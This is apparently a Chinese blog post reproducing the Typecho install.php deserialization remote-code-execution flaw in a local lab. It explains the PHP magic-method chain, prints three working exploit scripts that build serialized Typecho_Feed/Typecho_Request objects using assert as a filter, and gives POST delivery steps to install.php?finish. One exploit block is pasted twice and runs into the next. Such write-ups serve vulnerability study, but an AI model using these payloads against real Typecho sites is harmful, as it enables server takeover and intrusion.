Typecho反序列化導致前台 getshell 漏洞復現
漏洞描述:
Typecho是一款快速建博客的程序,外觀簡潔,應用廣泛。這次的漏洞通過install.php安裝程序頁面的反序列化函數,造成了命令執行。
影響范圍:理論上這個漏洞影響Typecho 1.1(15.5.12)之前的版本
首先我還是記錄一下敏感目錄
http://127.0.0.1/typecho0.9/install.php
http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin
http://127.0.0.1/typecho0.9/admin/welcome.php
使用環境:
Phpstudy+win7虛擬機
Typecho_v1.0.14.tar.gz https://pan.baidu.com/s/1jHQBKFk (在里面找相應的名字)
漏洞成因:
Freebuf上的文章說的很清楚了,有兩個需要理解的點:
第一個是__toString()魔法方法,在/install.php
__toString() //把類當作字符串使用時觸發
這塊利用Typecho_Db函數,跟進這個函數,/var/Typecho/Db.php,發現$adapterName定義的時候拼接了一個字符串,根據文章作者說,PHP是弱類型的語言,把一個字符串和一個類拼接的時候,會強制把類轉換成字符串,所以就會觸發傳進來的這個類的toString方法。
第二個是__get()魔法方法,
__get() //用於從不可訪問的屬性讀取數據
這塊設置author由screenName確定,如果在類里面加上這個方法,我們給$item['author']設置的類中沒有screenName私有屬性就會執行該類的__get()方法。
通過__get()函數返回_applyFilter($value),將可執行代碼賦值給$value觸發漏洞。
漏洞復現過程:
這個漏洞復現就有一點坎坷了,起初我發現typecho里面有歷史版本的下載,於是下載了一個0.9版本的,可是多次嘗試仍以失敗告終,后來在對比漏洞原理的時候,發現與存在漏洞的版本有出入,難不成歷史版本作者也一直在更新。。。好吧,上網找了一個第三方的下了一個1.0.14,在報錯的情況下完成了復現。
建站就不多說了,直接安裝沒有問題。安裝成功如圖
http://www.freebuf.com/vuls/152058.html
這位大牛漏洞原理講的特別詳細,建議看看。
反序列化漏洞要利用勢必離不開魔術方法,作者收集的和PHP反序列化有關的PHP函數:__wakeup() //使用unserialize時觸發__sleep() //使用serialize時觸發__destruct() //對象被銷毀時觸發__call() //在對象上下文中調用不可訪問的方法時觸發__callStatic() //在靜態上下文中調用不可訪問的方法時觸發__get() //用於從不可訪問的屬性讀取數據__set() //用於將數據寫入不可訪問的屬性__isset() //在不可訪問的屬性上調用isset()或empty()觸發__unset() //在不可訪問的屬性上使用unset()時觸發__toString() //把類當作字符串使用時觸發__invoke() //當腳本嘗試將對象調用為函數時觸發
Freebuf版EXP http://www.freebuf.com/vuls/152058.html

<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>
knownsec版EXP https://paper.seebug.org/424/

<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); knownsec版EXP https://paper.seebug.org/424/ <?php class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { // $this->_params['screenName'] = 'whoami'; $this->_params['screenName'] = -1; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed { const RSS2 = 'RSS 2.0'; /** 定義ATOM 1.0類型 */ const ATOM1 = 'ATOM 1.0'; /** 定義RSS時間格式 */ const DATE_RFC822 = 'r'; /** 定義ATOM時間格式 */ const DATE_W3CDTF = 'c'; /** 定義行結束符 */ const EOL = "\n"; private $_type; private $_items = array(); public $dateFormat; public function __construct() { $this->_type = self::RSS2; $item['link'] = '1'; $item['title'] = '2'; $item['date'] = 1507720298; $item['author'] = new Typecho_Request(); $item['category'] = array(new Typecho_Request()); $this->_items[0] = $item; } } $x = new Typecho_Feed(); $a = array( 'host' => 'localhost', 'user' => 'xxxxxx', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', 'adapter' => $x, 'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?>
360安全客版EXP http://bobao.360.cn/learning/detail/4610.html

<?php class Typecho_Request { private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')'); private $_filter = array('assert'); } $payload1 = new Typecho_Request(); class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items; public function __construct($x1) { $this->_items[] = array('author'=>$x1); } } $payload2 = new Typecho_Feed($payload1); $exp['adapter'] = $payload2; $exp['prefix'] = 'c1tas'; echo base64_encode(serialize($exp)); ?>
用post提交數據
url:http://192.168.198.128/Typecho1.0/install.php?finish=
Postdata:__typecho_config=前面腳本生成的
Referrer:http://192.168.198.128/Typecho1.0/
另一種方式是通過cookie提交